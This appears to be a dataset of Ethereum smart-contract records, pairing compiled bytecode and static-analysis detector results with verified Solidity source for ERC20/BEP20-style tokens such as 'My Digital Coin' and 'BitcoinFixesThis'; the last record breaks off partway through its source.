600020905060018160030160006101000a81548160ff0219169083151502179055506120558160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826001015483600201805460018160011615610100020316600290049050846002018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561204b5780601f106120205761010080835404028352916020019161204b565b820191906000526020600020905b81548152906001019060200180831161202e57829003601f168201915b5050505050612245565b1561208c57857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26120d7565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008160030160006101000a81548160ff0219169083151502179055505b505b5050505050565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561211d57600080fd5b600554915060405180608001604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121db92919061226c565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b6000806040516020840160008287838a8c6187965a03f19250505080915050949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106122ad57805160ff19168380011785556122db565b828001600101855582156122db579182015b828111156122da5782518255916020019190600101906122bf565b5b5090506122e891906122ec565b5090565b5b808211156123055760008160009055506001016122ed565b509056fea264697066735822122094ea61fe25b15237d48fc3d2c34f4c715541b8a90f717ea5c4d62fbdffcea46764736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,070 |
0x13438d58afdc3c64bd72d72ca0386a004c2af638
|
/**
*Submitted for verification at Etherscan.io on 2021-12-31
*/
pragma solidity 0.5.16;
interface IERC20 {
/**
/$$ /$$ /$$$$$$$ /$$ /$$ /$$ /$$ /$$$$$$ /$$
| $$$ /$$$ | $$__ $$|__/ |__/ | $$ | $$ /$$__ $$ |__/
| $$$$ /$$$$ /$$ /$$ | $$ \ $$ /$$ /$$$$$$ /$$ /$$$$$$ /$$$$$$ | $$ | $$ \__/ /$$$$$$ /$$ /$$$$$$$
| $$ $$/$$ $$| $$ | $$ | $$ | $$| $$ /$$__ $$| $$|_ $$_/ |____ $$| $$ | $$ /$$__ $$| $$| $$__ $$
| $$ $$$| $$| $$ | $$ | $$ | $$| $$| $$ \ $$| $$ | $$ /$$$$$$$| $$ | $$ | $$ \ $$| $$| $$ \ $$
| $$\ $ | $$| $$ | $$ | $$ | $$| $$| $$ | $$| $$ | $$ /$$ /$$__ $$| $$ | $$ $$| $$ | $$| $$| $$ | $$
| $$ \/ | $$| $$$$$$$ | $$$$$$$/| $$| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$/| $$$$$$/| $$| $$ | $$
|__/ |__/ \____ $$ |_______/ |__/ \____ $$|__/ \___/ \_______/|__/ \______/ \______/ |__/|__/ |__/
/$$ | $$ /$$ \ $$
| $$$$$$/ | $$$$$$/
\______/ \______/
offical website: https://mydigitalcoin.org
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MDC is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "My Digital Coin";
_symbol = "MDC";
_decimals = 8;
_totalSupply = 2100000000000000;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
/**
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
*
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
/**
* Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
*/
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
/**
* Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
* Emits an {Approval} event.
* Requirements:
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063893d20e811610097578063a457c2d711610066578063a457c2d7146104db578063a9059cbb14610541578063dd62ed3e146105a7578063f2fde38b1461061f57610100565b8063893d20e81461037e5780638da5cb5b146103c857806395d89b4114610412578063a0712d681461049557610100565b8063313ce567116100d3578063313ce5671461029257806339509351146102b657806370a082311461031c578063715018a61461037457610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d610663565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610705565b604051808215151515815260200191505060405180910390f35b6101f6610723565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061072d565b604051808215151515815260200191505060405180910390f35b61029a610806565b604051808260ff1660ff16815260200191505060405180910390f35b610302600480360360408110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081d565b604051808215151515815260200191505060405180910390f35b61035e6004803603602081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108d0565b6040518082815260200191505060405180910390f35b61037c610919565b005b610386610aa1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d0610ab0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61041a610ad9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045a57808201518184015260208101905061043f565b50505050905090810190601f1680156104875780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104c1600480360360208110156104ab57600080fd5b8101908080359060200190929190505050610b7b565b604051808215151515815260200191505060405180910390f35b610527600480360360408110156104f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c60565b604051808215151515815260200191505060405180910390f35b61058d6004803603604081101561055757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d2d565b604051808215151515815260200191505060405180910390f35b610609600480360360408110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d4b565b6040518082815260200191505060405180910390f35b6106616004803603602081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dd2565b005b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106fb5780601f106106d0576101008083540402835291602001916106fb565b820191906000526020600020905b8154815290600101906020018083116106de57829003601f168201915b5050505050905090565b6000610719610712610ea7565b8484610eaf565b6001905092915050565b6000600354905090565b600061073a8484846110a6565b6107fb84610746610ea7565b6107f68560405180606001604052806028815260200161181960289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107ac610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113609092919063ffffffff16565b610eaf565b600190509392505050565b6000600460009054906101000a900460ff16905090565b60006108c661082a610ea7565b846108c1856002600061083b610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142090919063ffffffff16565b610eaf565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610921610ea7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610aab610ab0565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b6000610b85610ea7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610c57610c51610ea7565b836114a8565b60019050919050565b6000610d23610c6d610ea7565b84610d1e8560405180606001604052806025815260200161188a6025913960026000610c97610ea7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113609092919063ffffffff16565b610eaf565b6001905092915050565b6000610d41610d3a610ea7565b84846110a6565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dda610ea7565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610ea481611665565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117cf6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fbb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806118af6022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561112c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117aa6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806118676023913960400191505060405180910390fd5b61121e8160405180606001604052806026815260200161184160269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113609092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b381600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113d25780820151818401526020810190506113b7565b50505050905090810190601f1680156113ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561154b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f42455032303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b6115608160035461142090919063ffffffff16565b6003819055506115b881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117f36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a7231582070e82812c09d39886f97cca89c67fdd8594caa50af20f974267626564f84107664736f6c63430005100032
|
{"success": true, "error": null, "results": {}}
| 4,071 |
0xd875a937f687c8e941c13bc0fa940f01dc4f9633
|
/*
______ __________________ _______ _______ _________ _ _______ _________ _______ _______ _________ _________ _______
( ___ \ \__ __/\__ __/( ____ \( ___ )\__ __/( ( /|( ____ \\__ __/|\ /|( ____ \( ____ \\__ __/|\ /|\__ __/( ____ \
| ( ) ) ) ( ) ( | ( \/| ( ) | ) ( | \ ( || ( \/ ) ( ( \ / )| ( \/| ( \/ ) ( | ) ( | ) ( | ( \/
| (__/ / | | | | | | | | | | | | | \ | || (__ | | \ (_) / | (__ | (_____ | | | (___) | | | | (_____
| __ ( | | | | | | | | | | | | | (\ \) || __) | | ) _ ( | __) (_____ ) | | | ___ | | | (_____ )
| ( \ \ | | | | | | | | | | | | | | \ || ( | | / ( ) \ | ( ) | | | | ( ) | | | ) |
| )___) )___) (___ | | | (____/\| (___) |___) (___| ) \ || ) ___) (___( / \ )| (____/\/\____) | | | | ) ( |___) (___/\____) |
|/ \___/ \_______/ )_( (_______/(_______)\_______/|/ )_)|/ \_______/|/ \|(_______/\_______) )_( |/ \|\_______/\_______)
BITCOIN FIXES THIS!
What is this?
A trend that makes fun of all the Maxis on twitter tweeting "Bitcoin Fixes This"
Socials?
You can find us on Telegram: https://t.me/BitcoinFixesThisERC
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BitcoinFixesThis is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BitcoinFixesThis";
string private constant _symbol = "FIXES";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xfAdA87E45D56b58EE515b077BcDC3807BafCd0E0);
_feeAddrWallet2 = payable(0xfAdA87E45D56b58EE515b077BcDC3807BafCd0E0);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
